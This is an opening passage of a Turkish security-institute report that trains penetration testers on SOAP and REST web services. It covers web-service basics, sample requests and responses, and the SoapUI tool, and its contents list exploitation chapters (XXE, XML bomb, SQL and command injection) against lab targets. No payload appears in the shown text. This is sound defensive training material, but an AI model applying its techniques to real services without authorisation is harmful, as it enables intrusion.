

SOAP VE REST MİMARİSİNDEKİ WEB SERVİSLERDE / WEB API'LERDE TEMEL GÜVENLİK AÇIKLIKLARI NELERDİR, AÇIKLIKLAR NASIL İSTİSMAR EDİLEBİLİR VE AÇIKLIKLAR NASIL KAPATILABİLİR?

HASAN FATİH ŞİMŞEK

UZMANLIK ÇALIŞMA RAPORU

TÜRKİYE BİLİMSEL VE TEKNOLOJİK ARAŞTIRMA KURUMU BİLGEM SİBER GÜVENLİK ENSTİTÜSÜ BİRİMİ

ŞUBAT 2023 ANKARA

KURUM BAŞKANLIĞINA

(.....) konulu TÜBİTAK Uzmanlık Çalışma Raporu Değerlendirmesi ve Sözlü Savunma sonucu aşağıda belirtilmiştir.

GÖREVDE YÜKSELME KOMİSYONU

| ADI VE SOYADI | <u>GÖREVİ</u> |
|---------------|---------------|
| <u>İMZA</u> | |

KOMİSYON BAŞKANI :

- ÜYE :
- ÜYE :
- ÜYE :

ÜYE :

Bu çalışma, komisyon tarafından/.... tarihinde...... çalışma raporu olarak kabul edilmiştir.

ÖZET

SOAP VE REST MİMARİSİNDEKİ WEB SERVİSLERDE / WEB API'LERDE TEMEL GÜVENLİK AÇIKLIKLARI NELERDİR, AÇIKLIKLAR NASIL İSTİSMAR EDİLEBİLİR VE AÇIKLIKLAR NASIL KAPATILABİLİR?

Hasan Fatih ŞİMŞEK Şubat 2023

Web uygulamalar dünyasında sıklıkla modül olarak kullanılan, ayrıca platform bağımsızlığı özelliği sayesinde birçok yazılım türünün kullanabildiği web servisler, diğer bir deyişle web api'ler dünyada ciddiye alınması gereken derecede kullanım artışı sergilemektedir. Bu nedenle siber güvenlik dünyasının kapsamında dikkate değer bir kritikliktedirler. Bu çalışma raporu tüm platformlardaki yazılımların internet yoluyla kullandığı web servis / web api'lerden piyasada en yaygın kullanılan SOAP ve REST'i mercek altına alacaktır. SOAP ve REST web servislerde / web api'lerde temel olarak kabul gören saldırı vektörlerinin neler olduğu, bu saldırıların nasıl uygulanabildiği, ve bu saldırıların nasıl web servis / web api uç noktalarında durdurulabileceği araştırılacak ve raporlanacaktır. Bu araştırma boyunca teori ve pratik birarada olacaktır. Bu rapor kurumumuzun ihtiyacına binaen web servislerine dönük sızma testçi yetiştirmede ve eleman niteliğini arttırmada kapsamlı bir referans rehber belgesi olmayı hedeflemektedir.

Anahtar Kelimeler: SOAP, REST, WEB SERVİS, WEB API, OWASP TOP 10, DVWS, OWASP Mutillidae

ABSTRACT

WHAT ARE THE FUNDAMENTAL VULNERABILITIES IN WEB SERVICES / WEB APIS WHICH USE SOAP AND REST ARCHITECTURE, HOW TO BE ABLE TO EXPLOIT THEM, AND HOW TO BE ABLE TO MITIGATE THEM?

(Expertise / Specialist Study Report)

Hasan Fatih ŞİMŞEK Şubat 2023

Web services (a.k.a. web apis) which are often used as a module in the world of web applications and also could be used by a lot of software types (such as thick clients) thanks to the platformindependent feature, show an increase of usage that should be taken seriously in the world. Therefore they are in a noticeable criticality in cyber security world's scope. This study report will scrutinize the most common two web services / web apis, SOAP and REST, among web services / web apis to which software in all platforms can communicate over Internet. What kind of attack vectors considered essential in these web services / web apis, how these attack vectors are applied to them, and how to stop these attacks from their's endpoints will be researched and reported. In this research process theory and practice will be together. Based on the needs of our institution, this report is aimed to be a comprehensive reference guide document for training penetration testers for web services / web apis and increasing the quality of staff.

Keywords: SOAP, REST, WEB SERVIS, WEB API, OWASP TOP 10, DVWS, OWASP Mutillidae

TEŞEKKÜRLER

Çalışma konum olarak bu çalışma konusunu belirlediği için ve bu alanda gelişmeme imkan verdiği için birim yöneticimiz Emre Özkök'e teşekkürler.

SİMGE VE KISALTMALAR

| Kısaltmalar | Açıklama |
|-------------|---------------------------------------|
| DVWS | Damn Vulnerable Web Services |
| OWASP | Open Web Application Security Project |
| SOAP | Simple Object Access Protocol |
| REST | Representational State Transfer |
| | |

İÇİNDEKİLER

| ÖZ | ET | | 3 |
|-----|-----------|---|----|
| TE | ŞEKKÜRLE | R | 5 |
| Sin | AGE VE KI | SALTMALAR | 6 |
| İÇİ | NDEKİLER | | 7 |
| 1. | AMAÇ ۱ | /E HEDEFLER | 9 |
| 2. | KAPSAN | Л | 9 |
| 3. | PROBLE | MİN TANIMI | 9 |
| 4 | LİTERAT | TÜR ARAŞTIRMASI | 9 |
| | 4.1 We | b Servis / Web API Giriş | 9 |
| | 4.1.1 | Web Servis / Web API Nedir? | 9 |
| | 4.1.2. | Web Servis / Web API Çalışma Şekli | 15 |
| | 4.1.3. | Web Servis ve Web API Arasındaki Fark | |
| | 4.1.4 | Web Servis Türleri | |
| | 4.1.5 | Web Servislerin Arayüzü Olmaması | 19 |
| 5 | YÖNTEN | И | 20 |
| | 5.2 We | b Servisler Nasıl Test Edilir (Teorik Gösterim) | 20 |
| | 5.2.1 | SoapUI Yazılımı | 20 |
| | 5.2.2 | Burpsuite Yazılımı | 22 |
| | 5.2.3 | Netsparker Yazılımı | 22 |
| | 5.2.4 | Postman Yazılımı | 26 |
| | 5.2.5 | Web Tarayıcı Eklentileri | 26 |
| | 5.2.6 | Wireshark Yazılımı | 26 |
| | 5.2.7 | Proxy Ayarı | 26 |
| | 5.3 We | b Servisler Nasıl Test Edilir (Uygulamalı Gösterim) | 27 |
| | 5.3.1 | SoapUI Yazılımı | 27 |
| | 5.3.2 | Burpsuite Yazılımı | |
| | 5.3.2.1 | Burpsuite ile SOAP Web Servis Testi | |
| | 5.3.2.2 | Burpsuite ile REST Web Servis Testi | 43 |
| | 5.3.3 | Netsparker Yazılımı | 47 |
| | 5.3.3.1 | Netsparker ile SOAP Web Servis Testi | 47 |
| | 5.3.3.2 | Netsparker ile REST Web Servis Testi | 53 |
| | 5.3.4 | Postman Yazılımı | 62 |
| | 5.3.4.1 | Postman ile SOAP Web Servis Testi | 62 |
| | 5.3.4.2 | Postman ile REST Web Servis Testi | 67 |

| | 5.3 | .5 | Chrome "Boomerang SOAP and REST Client" Eklentisi | 72 |
|---|-------------|------------|---|----|
| | 5.4 | Wel | b Servislerde Temel Açıklar, Sömürme Adımları ve Önlemler | 77 |
| | 5.1 | .1 | WSDL Enumeration (CWE-651, CAPEC-95) | 77 |
| | 5.1 | .2 | XML Bomb (CWE-776, CAPEC-197) | 88 |
| | 5.1 | .3 | XML Bomb 2 (CWE-776, CAPEC-197)1 | 00 |
| | 5.1 | .4 | XML External Entity Injection (CWE-611, CAPEC-376)1 | 14 |
| | 5.1 | .5 | XML External Entity Injection 2 (CWE-611, CAPEC-376)1 | 26 |
| | 5.1 | .6 | XML External Entity Injection 3 (CWE-611, CAPEC-376)1 | 29 |
| | 5.1 | .7 | SQL Injection (CWE-89, CAPEC-66)1 | 30 |
| | 5.1 | .8 | Command Injection (CWE-78, CAPEC-88)1 | 34 |
| 6 | SO | NUÇ | VE ÖNERİLER 1 | 40 |
| 7 | EK | | | 41 |
| | 7.1 | Soa 141 | pUI Web Servis Güvenlik Testi Yazılımını Linux'a (Ubuntu 18.04 LTS'ye) Kurn | na |
| | 7.2 | Bur | psuite'i Linux (Ubuntu 18.04 LTS) Sisteme Kurma | 42 |
| | 7.3 | Bur | psuite'e WSDLER Eklentisini Kurma1 | 43 |
| | 7.4 | Pos | tman Yazılımını Linux (Ubuntu 18.04 LTS) Sisteme Kurma | 44 |
| | 7.5 | D۷۷ | NS Web API'yi Linux'a (Ubuntu 16.04 LTS Dağıtımına) Kurma1 | 44 |
| | 7.6 | DVV 149 | NS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma | |
| | 7.7 | Mut | tillidae Web API'yi Linux'a (Ubuntu 18.04 LTS Dağıtımına) Kurma1 | 51 |
| | 7.8 | Mut | tillidae Web API'yi Linux'a (Ubuntu 14.04 LTS Dağıtımına) Kurma1 | 56 |
| | 7.9 Kurm | Mut a | tillidae Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) 1 | 59 |
| | 7.10 | D | VWS SQLi Açıklıklı Rest API Uç Noktasındaki Hatanın (Bug'ın) Giderilmesi 1 | 61 |
| 8 | KA | YNAK | ۲ÇA 1 | 63 |

1. AMAÇ VE HEDEFLER

Kurumsal olarak web servis / web api sızma testlerinde konu hakkında arkaplana tam net sahip olunmaması ve teknik olarak projelerde zayıf kalınıyor olması nedeniyle bu alanda güçlenme gereksinimi doğmuştur. Web servis / web api 'lerin temel güvenlik açıklıklarının neler olduğu, nasıl bu açıklıkların istismar edilebildiği, ve nasıl bu açıklıkların önleminin alınabileceğine dair bir çalışma konusu belirlenerek kurumsal olarak bu alanda güçlenmek, ayrıca aramıza yeni katılacak iş arkadaşlarının da bu rehber doküman ile aynı seviyeye gelmesi ve projelere sağlıklı bir şekilde dahil edilebilmesi hedeflenmektedir. Web servis / api'ler için Türkçe içerikli çok az dökümanın oluşu, "kapsamlı" bir rehber dökümanın olmayışı bu anlamda bu çalışma dökümanını ayrıca gerekli kılmıştır.

2. KAPSAM

Bu çalışma raporunda piyasada en yaygın kullanıma sahip SOAP ve REST web servisler / web api'ler odak noktasına alınacaktır. SOAP ve REST mimarileriyle oluşturulmuş web servislerin / web api'lerin temel güvenlik açıklıklarını inceleme, suistimal etme yollarını öğrenme, ve açıklıkların kapatılışını öğrenme üzerine teori ve pratik bir arada bir çalışma sergilenecektir.

3. PROBLEMİN TANIMI

Web servis'ler / web api'ler web uygulama mıdırlar, nasıl test edilirler ve temel güvenlik açıklıkları nelerdir problemlerine cevap aranacaktır.

4 LİTERATÜR ARAŞTIRMASI

Literatürde yer alan benzer içerikli çalışmalar incelenerek çalışmanın hangi yılda yapıldığı, yazar bilgisi, temel araştırma sorusu veya hipotezi, çözüm yöntemi ve elde ettiği sonuçları içeren detaylı bir açıklama yapılmalıdır. Yapılan çalışmanın niteliği açısından literatürün detaylandırılması önem arz etmektedir.

4.1 Web Servis / Web API Giriş

Sızma testçi bakış açısıyla bu başlık altında web servis / web api'ye bir bakış sunulacaktır. Bu raporda web servis ve web api ifadeleri aynı şeyi ifade ettiklerinden birbirlerinin yerine kullanılacaktır.

4.1.1 Web Servis / Web API Nedir?

Web servisler / web api'ler adında geçen web kelimesinden anlaşılabileceği üzere web uygulama gibidirler. Web uygulamalar gibi web sunucularda barınırlar. Web uygulamalarda olduğu gibi web servis / web api' lerde de bir istemci web sunucuya http(s) talebi yapar ve web sunucudan http(s) yanıtı alır.



Web Servis / Web API Haberleşmesi

Web servis / web api'lerin web uygulamalardan farkı web uygulamalarda olduğu gibi bir arayüze sahip olmayışlarıdır. Bir web tarayıcıdan web uygulama sunucusuna bağlanıldığında web uygulamalarda bir arayüz gelir ve o arayüz üzerinden işlemler yürütülür. Fakat bir web tarayıcıdan web servislere / web api'lere bağlanıldığında bir arayüz (çoğunlukla) gelmez.

Web servis'ler / web api'ler genellikle web uygulamaların yanıt olarak döndüğü html çıktı gibi bir çıktı yanıt olarak dönmezler. Bunun yerine xml ya da json formatında bir çıktı yanıt olarak dönerler. HTML çıktı web tarayıcısı içindir. XML veya JSON çıktı ise web tarayıcısı dahil olmak üzere envai çeşit platformdaki istemciler içindir. Örneğin web tarayıcı yazılımları, iOS tabanlı yazılımlar, Android tabanlı yazılımlar, windows tabanlı yazılımlar, macOS tabanlı yazılımlar,... gibi.

Web servisler / web api'ler bazı rollere sahiptirler. Web servisleri / web api'leri anlamak için bu rollerden ikisine göz atmamız yerinde olacaktır:

- service requestor (servis talep edici)
- service provider (servis sağlayıcı)

Bu rollerden service requestor web servisi / web api'yi tüketendir / kullanandır. Service provider ise web servisi sağlayan ve internetten erişilir kılandır. Web sunucuda yer alır. Service requestor'lar service provider'a ağda bağlantı açarlar ve XML / JSON talepleri yollarlar. Yanıt olarak da XML / JSON yanıtları alırlar.

Örneğin web uygulamalarda web uygulamayı tüketen / kullanan istemci yazılım web tarayıcıdır. Web servislerde / web api'lerde ise web servisi / web api'yi tüketen / kullanan istemci yazılım herhangi bir platformda yer alabilir. Web tabanlı bir yazılım (Chrome/Firefox/Opera/Edge/... web tarayıcısı), windows tabanlı bir yazılım, unix tabanlı bir yazılım,...v.b. farklı türden platformlara özgü yazılımlar olabilir.

Web uygulamalarda haberleşme url encode ile (url kodlama ile) gönderilen talebe karşılık html yanıt şeklindedir. Örneğin web uygulamalar ile web sunucular arasında gönderilen ve alınan http talep ve yanıt paketleri şu şekildedir,

Web Tarayıcıdan Web Sunucuya Giden HTTP Talebi:

...http başlıklar...
...http başlıklar...
Content-Type: application/x-www-form-urlencoded
...http başlıklar...

...http başlıklar...

tcNo=1234322123&sicilNo=9876521

veya şu şekildedir,

Web Tarayıcıdan Web Sunucuya Giden HTTP Talebi:

...http başlıklar... ...http başlıklar... Content-Type:multipart/form-data;boundary=----WebKitFormBoundarys89aFVi ...http başlıklar... ...http başlıklar...

-----WebKitFormBoundarys89aFVi Content-Disposition: form-data; name="tcNo"

1234322123

-----WebKitFormBoundarys89aFVi Content-Disposition: form-data; name="sicilNo"

9876521

veya şu şekildedir;

Web Tarayıcıdan Web Sunucuya Giden HTTP Talebi:

...http başlıklar... ...http başlıklar... Content-Type: text/plain ...http başlıklar... ...http başlıklar...

tcNo=1234322123 sicilNo=9876521

ve bu taleplere karşılık gelen yanıt paketi de

Web Sunucudan Gelen HTTP Yanıtı:

...http başlıklar... ...http başlıklar... Content-Type: text/html; ...http başlıklar... ...http başlıklar...

<html>

<head>

```
...
</head>
</body>
...
Kullanıcı Detay Bilgiler: <br />
Anne Kızlık Soyadı: .... <br />
Baba Adı: ... <br />
Doğduğu Yer: ... <br />
Maaşı: ... <br />
...
</body>
```

</html>

şeklindedir.

Web servislerde / web api'lerde ise aynı durum şu şekildedir,

Bir Platformdaki İstemciden Web Sunucuya Giden HTTP Talebi:

...http başlıklar... ...http başlıklar... Content-Type: application/xml ...http başlıklar... ...http başlıklar... <?xml version="1.0" encoding="UTF-8">

```
</txlin version= 1.0 encoding= 01F-8 >
<kullaniciBilgileri>
<tcNo>1234322123</tcNo>
<sicilNo>9876521</sicilNo>
</kullaniciBilgileri>
```

Web Sunucudan Gelen HTTP Yanıtı:

...http başlıklar... ...http başlıklar... Content-Type: application/xml ...http başlıklar... ...http başlıklar... <?xml version="1.0" encoding="UTF-8"> <kullaniciDetay> <AnneKizlikSoyadi>...</AnneKizlikSoyadi> <BabaAdi>...</BabaAdi> <DogduguYer>...</DogduguYer> <MaasMiktari>...</MaasMiktari>

```
</kullaniciDetay>
```

Veya web servis / web api json kullanıyor ise aynı durum için istek ve yanıt şu şekildedir:

Bir Platformdaki İstemciden Web Sunucuya Giden HTTP Talebi:

```
...http başlıklar...
...http başlıklar...
Content-Type: application/json
...http başlıklar...
...http başlıklar...
{
    "kullaniciBilgileri": {
        "tcNo": 1234322123,
        "sicilNo": 9876521
    }
}
```

Web Sunucudan Gelen HTTP Yanıtı:

```
...http başlıklar...
...http başlıklar...
Content-Type: application/json
...http başlıklar...
...http başlıklar...
{
    "kullaniciDetay": {
        "AnneKizlikSoyadi": "...",
        "BabaAdi": "...",
        "DogduguYer": "...",
        "MaasMiktari": "..."
}
```

Yani web servisler / web api'ler (service provider'lar) istemciler (service requestor'lar) ile haberleşirken xml veya json dilini kullanırlar. Nadiren de olsa HTML dilini de kullanabilirler.

Web servis / web api'ler web sunucuda barınırlar. Web servis / web api'lerin istemciler ile haberleştiği dil XML veya JSON'dır.



Örnek Bir Web Servis / Web API Haberleşmesi



Web Servisler Web Sunucuda Barındırılır

Web servislerde / web api'lerde XML ve JSON'ın kullanılıyor oluşu web servislerin / web api'lerin platform bağımsız olmalarını sağlar. Platform bağımsızdan kasıt web servisi / web api'nin web sunucularda herhangi bir web sunucu yazılımı (örn; apache, iis, nginx, ...) üzerinde yer alabileceği, herhangi bir web programlama dili (örn; php, java, c#,...) ile yazılabileceği, ve istemcilerin de farklı platformlarda ve programlama dillerinde (örn; windows-based, unix-based, web-based, mobile-based,... platformlarda ve php, java, c#,... dillerinde) olabileceğidir.



Çeşitli Teknolojideki İstemcilerin Web Servisle / Web API'yle Haberleşmesi

Xml ve json veri depolama ve taşıma dilleri basit ve evrensel olduklarından her türlü farklı teknolojideki yazılım kendi arasında bu dili kullanarak karşılıklı haberleşebilirler.

Web servisi / web api'yi kullanan / tüketen uygulamalar herhangi bir programlama diliyle yazılabilirler. Web servisler de herhangi bir programlama diliyle yazılabilirler. Farklı türden

teknolojilerin haberleşmesine c# masaüstü uygulamanın java web servisi / web api'si ile konuşması veya iOS bir mobil uygulamanın php ile yazılmış bir web servis / web api ile konuşması örnek olarak verilebilir, veya aynı türden teknolojilerin haberleşmesine web servisin php olması ve web servisi kullanan / tüketen uygulamanın da web-based bir web tarayıcıdaki php uygulaması olması örnek olarak verilebilir.

Sonuç olarak web servisi / web api herhangi bir teknolojide yazılabilen web programlarına denir. Web sunucuda barınırlar. Web servisi / web api consumer'ı (tüketicisi) ise herhangi bir teknolojide yazılabilen ve uzak web sunucudaki web servisi / web api'si ile (web programı ile) haberleşen yazılıma denir.

4.1.2. Web Servis / Web API Çalışma Şekli

Web servis / web api kavramını anlamak adına şu şekilde bir basitleştirme yapılabilir. Web servis / Web API web tarayıcıda görünen örneğin boş bir php sayfası olarak düşünülebilir. HTML kodu barındırmayan, GET, POST, PUT, v.b. parametreleri alan, php kodlarıyla işlemler yapan bir php sayfası. Bu şekilde boş görünüşlü php web sayfasında örneğin veritabanına veri yazılır, veya veritabanından veri çekilir. Çıktı ise bu html'i olmayan boş php sayfasında ya yoktur ya da echo ile json formatta veya xml formatta basılmış bir yanıttır. Bu yanıt örneğin veritabanından veri çekme sonucundaki verilerin xml / json formatta listelenmesi gibi.

Örneğin aşağıda php ile yazılmış bir web servisinin / web api'nin (yani service provider'ın) web sunucudaki bir kod bloğu gösterilmektedir.

```
"Database Error");
   print json_encode($row);
} else {
    $query = "SELECT siteStatus FROM siteStatus WHERE siteURL = 'http://www.braingia.org'";
    if ($result = mysqli_query($dbLink,$query)) {
        $row = $result->fetch_array(MYSQLI_ASSOC);
        if (is_null($row)) {
            $row = array("siteStatus" => "Error - Site Not Found");
       }
    } else {
        $row = array("siteStatus" => "General Error");
    3
   print json_encode($row);
   mysqli_close($dbLink);
} // End else condition (for database connection)
2>
```

Web sunucudaki bu web servisine / web api'ye göre else koşulunda veritabanına sorgu yapılıyor ve belirtilen siteURL değerindeki veritabanı kaydının siteStatus veritabanı kolon değeri çekiliyor. Eğer gelen değer null'sa veya bağlantı hatalıysa \$row değeri hata verisiyle dolduruluyor, değilse \$row değeri gelen değerle dolduruluyor. Ardından \$row değeri print_json_encode(\$row) ile json formatında döküman olarak yanıt paketinin gövdesinde web servisi tüketen / kullanan uygulamaya, yani service requestor'a (tüketiciye) yanıt olarak gönderiliyor.



Service Provider'ın Yanıtı

Burada gelen yanıtı görebilmek adına istemci olarak web tarayıcı kullanıldı, fakat esasında bir service requestor bu yanıtı aldığında aldığı yanıta göre bir davranış üretecektir. Örneğin masaüstü bir yazılım eğer service requestor'sa bu yanıtı aldığında yeşil bir buton ile "Erişim Var" bilgisi sunacaktır.

Service requestor'lar aldıkları xml (veya json) yanıtlarını parse ederek sonuçlar üretirler ve arayüzlerine buna göre bilgiler yansıtırlar. Örneğin service requester'lar login olma isteği gönderebilirler. Bunu kullanıcı adı ve parola bilgisini talep paketinin gövdesinde xml etiketleri arasında göndererek yapabilirler. Gelecek yanıt paketinin gövdesinde xml etiketleri arasında oturum geçerliyse sessionID, değilse hata bilgisi gelerek de arayüze oturum açıldı veya açılamadı görseli basabilirler.

Bahsedilen bu örnek için service requestor'ın gönderdiği geçerli hesap bilgilerindeki login olma paketi ve aldığı yanıt örneği aşağıda verilmiştir:

Bir Platformdaki İstemciden Web Sunucuya Giden HTTP Talebi #1:

...http başlıklar... ...http başlıklar... Content-Type: application/xml ...http başlıklar... ...http başlıklar...

<soapenv:Header/> <soapenv:Body> <sam:login> <username>Login</username> <password>Login123</password> </sam:login> </soapenv:Body> </soapenv:Envelope>

// Geçerli Oturum Bilgisi // Geçerli Oturum Bilgisi Web Sunucudan Gelen HTTP Yanıtı:

...http başlıklar... ...http başlıklar... Content-Type: application/xml ...http başlıklar... ...http başlıklar... <soapenv:Header/> <soapenv:Header/> <soapenv:Body> <sam:loginResponse> </sam:loginResponse>

</soapenv:Body>

ve service requestor'ın geçersiz hesap bilgilerindeki login olma paketi ve aldığı yanıt örneği:

Bir Platformdaki İstemciden Web Sunucuya Giden HTTP Talebi #2:

...http başlıklar... ...http başlıklar... Content-Type: application/xml ...http başlıklar... ...http başlıklar...

<soapenv:Header/> <soapenv:Body> <sam:login> <username>Login</username> <password>deneme</password> </sam:login> </soapenv:Body>

// Geçersiz Oturum Bilgisi
// Geçersiz Oturum Bilgisi

Web Sunucudan Gelen HTTP Yanıtı:

...http başlıklar...

Content-Type: application/xml ...http başlıklar... ...http başlıklar... <soapenv:Body> <soapenv:Fault> <faultcode>Client</faultcode> <faultcode>Client</faultcode> <faultstring>Invalid Login</faultstring> <detail> <sam:loginFault>The login credentials are invalid</sam:loginFault> </detail> </soapenv:Fault> </soapenv:Body>

Bu şekilde service requester'dan (yani web servisi tüketen / kullanan uygulamadan) girilen bilgiler service provider'dan (yani web servis sunucusundan) gelen yanıta göre değerlendirilir ve service requester ekranında oturum açıldı veya açılmadı arayüzü getirilebilir. Bunun gibi web servislerde / web api'lerde web uygulamalarda yapılan her işlem yapılabilir.

Bilgi:

Web servisler / web api'ler web uygulamalardaki işlevleri xml (veya json) etiketleri üzerinden gerçekleşen alışverişle yaparlar. Dolayısıyla web uygulamalardaki kaba kuvvet, sql enjeksiyonu, komut çalıştırma,... gibi saldırılar web servislerde de / web api'lerde de yapılabilmektedir ve web uygulamalarda çıkan güvenlik açıklıkları web servislerde de aynı şekilde çıkabilir.

4.1.3. Web Servis ve Web API Arasındaki Fark

Web servis ve web api birbirlerinin yerlerine kullanılabilen ifadelerdir. Aynı şeyi ifade ederler. İkisi de web sunucuda barınan ve network üzerinden çeşitli teknolojilerdeki istemcilerle haberleşen web programı anlamına gelmektedir.

Web API'lere daha yakından bakılacak olursa Web API, API genel kategorisinin bir alt türüdür. API'lerde eğer network bağlantısı ile haberleşme varsa bu API'lere web api adı verilir.





API Sembolü

4.1.4 Web Servis Türleri

Web servisleri piyasadaki yaygınlığına göre sınıflandıracak olursak iki türdür. Bunlar;

- SOAP Web Servisi - REST Web Servisi

şeklindedir. Bu iki web servisi piyasadaki en baskın iki türdür. SOAP web servisi bugün için eski bir çözüm olarak görülebilir. Çünkü REST web servisi gittikçe popüleritesi artan bir çözüm olmuştur.

SOAP web servisi güçlü bir şekilde function-driven'dır (fonksiyon yönelimlidir). REST web servisi ise oldukça data-driven'dır (veri yönelimlidir). SOAP eski oluşu dolayısıyla biraz karmaşıktır. REST ise oldukça kolay kullanılabilir / tüketilebilir ve anlaşılabilir bir yapıya sahiptir.

SOAP web servisler http protokolü yanında smtp, ftp, tcp/ip gibi protokoller kullanabilirler. REST web servisler ise sadece http/https protokollerini kullanırlar.

REST web servisler ifadesi yanında Restful web servisler ifadesi de geçebilmektedir. REST web servisi prensiplerini kullanan web servislere RESTful web servisi denmektedir. REST isimdir ve RESTful sıfattır. REST yerine RESTful denilince söz konusu konuşulan web servisin REST yaklaşımında olduğu (REST prensiplerini kullandığı) ifade edilmiş olur.

4.1.5 Web Servislerin Arayüzü Olmaması

Web servisler kendi başlarına bir arayüze sahip değildirler. Örneğin web uygulamalarda gelen yanıt paketlerinde "spidering / crawling" yapılarak arayüz / kapsam belirlenebilir. Ancak web servislerde bu mümkün değildir. Çünkü web servisler yanıt olarak xml / json veri dönerler. Web uygulamalardaki gibi gezinti yapılabilecek ve dallanılabilecek bağlantı unsurları içermezler. Bu çalışma şekli otomatize web zafiyet tarayıcı yazılımların web servislerde "crawl" ve "attack" yapmasını oldukça zor kılar. Yani saldırı yapılacak kapsam elde edilemez. Ancak saldırı testleri (veya fonksiyonel çalışırlık testleri) için web servisler arayüzlerini / kapsamlarını gösteren mekanizmalara sahiptirler. Bunlar şu şekildedir:

SOAP için:

- WSDL (Web Service Definition Language)

REST için:

- WADL (Web Application Description Language)
- OpenAPI (resmi adıyla Swagger)
- RAML
- I/O Docs (Input / Output Document)

SOAP web servislerde WSDL dosyası arayüzdür. SOAP web servisin WSDL dosyası ile arayüzü görünür. Hangi url'ler, metotlar, parametreler kullanıyor, hangi http talep metodu hangi URL üzerinde kullanılıyor, hangi girdi dökümanları gönderiliyor, hangi "status code" (durum kodu) yanıt olarak bekleniyor, ... gibi bilgiler öğrenilir. Bu şekilde kapsam elde edilir ve saldırı testleri veya fonksiyonel çalışırlık testleri uygulanabilir. SOAP web servisler WSDL'e bağımlıdırlar ve SOAP web servisler servisi keşfetmek adına başka bir mekanizmaya sahip değildirler. Yani SOAP'ta WSDL tek arayüz çözümüdür.

REST web servislerde arayüz / kapsam sunan WSDL gibi tutarlı bir standart yoktur. Birçok REST web servisi kendi dökümantasyonuna sahiptir. Bu dökümantasyonlar geliştiriciler için kullanışlıdır, fakat otomatize web zafiyet tarayıcıları için kullanışsızdır. REST web servislerin arayüzlerini / kapsamlarını standardize bir şekilde sunmak için WADL, OpenAPI (Swagger), RAML ve I/O Docs projeleri geliştirilmiştir. Örneğin WADL dosyası olduğunda bu tanımlama dosyası parse edilerek / okunarak herbir mevcut kaynak için URL, metot, parametre ve hangi url'de hangi http talep metodu kullanılıyor gibi bilgiler alınır ve kapsam bu şekilde belirli olur.

Örneğin OpenAPI (Swagger) rest web servisleri dökümante etmek için bir diğer tanımlama dosyasıdır ve rest web servisleri tanımlamak için url, metot, parametre formatını belirtir. Bir uygulama geliştiricisi olarak web servisler framework'ler kullanılarak yazılır, OpenAPI (Swagger) web servis kodlarını tarar ve dökümantasyonu belirli bir URL'de oluşturur. Bir service requestor ise bu URL'i kullanarak REST web servisi nasıl kullanabileceğini, hangi url'lerin, metotların, parametrelerin, hangi http talep metodunun hangi URL üzerinde kullanıldığının, hangi girdi dökümanlarının gönderildiğinin, hangi status code'un yanıt olarak beklendiğinin, ... v.b. bilgilerini öğrenir. Böylece rest web servisler bu şekilde arayüzleri / kapsamları keşfedilebilir olur ve saldırı testleri ve ayrıca fonksiyonel çalışırlık testleri uygulanabilir.

REST web servislerde tartışmalı şekilde WADL büyük bir kusur olarak görülür. WADL'ın kusuru optional (seçime bağlı) olması ve bazı gerekli bilgileri sunmamasıdır. Bu yetersizliği çözmek için piyasada başka çözümler var olmuştur. Bunlar OpenAPI (Swagger), RAML, I/O Docs gibi.

WSDL dosyaları SOAP-based web servisleri test etmenin merkezinde yer alır. Aynı şekilde REST için olan standardize edilmiş tanımlama dosyaları da REST-based web servisleri test etmenin merkezinde yer alır.

SOAP'ta WSDL kullanılmasa ve REST'te dökümantasyon olmasa bir web servisin arayüzünü belirleme bu tanımlama çözümlerinin olmasına göre oldukça zordur.

Web servislerde her bir url adresine **endpoint (uç nokta)** adı verilir. Yalnızca bu endpoint'lere ulaşan talepler kayda değerdir. Web servislerde arayüz / kapsam bu endpoint listesine ve endpoint'lerin kabul ettiği parametre listesine denmektedir.

5 YÖNTEM

5.2 Web Servisler Nasıl Test Edilir (Teorik Gösterim)

Bu başlık altında başlıca web servis / web api güvenlik testi yapma araçları tanıtılacaktır.

5.2.1 SoapUI Yazılımı

SoapUI soap ve rest web servisler için tasarlanmış bir fonksiyonel çalışırlık testi, yük testi, güvenlik testi,... yazılımıdır.

SoapUI'de Soap ve Rest web servisleri test etme şu şekilde gerçekleşir:



Üst menüde SOAP ve REST butonları vardır. SOAP web servisi test edileceği zaman SOAP'a tıklanır ve açılan pencerede WSDL kapsam dosyası verilir.

| Elle Project Suite Case Step Tools Desktop | Help | |
|--|---|-----------------------|
| Empty SOAP REST Import Save All For | m Trial Preferences Proxy Endpoint Explorer | Search Forum an Onlin |
| s s | apul Start Page | ಕ್ ದ |
| Sample SDAP Project Core | I there! wre getting this message since your computer is offline and SoapUI can't access the there. Without an Internet connection, you might experience some issues when performing teb Service testing. South: this is where you would see the SoapUI start page, which includes the latest news nd other relevant information. ake sure to connect to the Internet to get access to all the services and information from mattbear. hanks! he SmartBear SoapUI Team | |
| | New SOAP Project Creates a WSDL/SOAP based Project in this workspace | |
| | Project Name: | |
| | Initial WSDL: Browse | |
| | Create Requests: Create sample requests for all operations? | |
| | Relative Paths: Stores all file paths in project relatively to project file (requires save) | |
| | | |
| | | |

REST web servisi test edileceği zaman REST'e tıklanır ve açılan pencerede doğrudan bir rest web servis url'si veya daha kapsamlı bir test için WADL dosyası verilir.

| Activities 🧕 com-install4j-runtime-launcher-U | | Cts 15:48 | | 🦁 🕻 ? 40 🗹 👻 |
|---|--|---|--------------|--------------|
| .= | | SoapUI 5.6.0 | | 000 |
| Elle Project Suite Case Step Tools De Elle Project Suite Case Step Tools De Empty SOAP REST Import Save All | sktop Help | Endpoint Explorer | Search Forum | m 00 |
| | SpapUI Start Page | | | |
| Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Core Image: Project Signal State Project Signal State Project Core Image: Project Signal State Project Signal S | Supposed Surf rage Hithere! Hithere! You're getting this message since ye Internet. Without an Internet conner Web Service testing. Usually, this is where you would see and other relevant information. Make sure to connect to the Internet Smattlear. Thanks! The SmartBear SoapUI Team | ur computer is offline and SoapUI can't access the ion, you might experience some issues when performing the SoapUI start page, which includes the latest news to get access to all 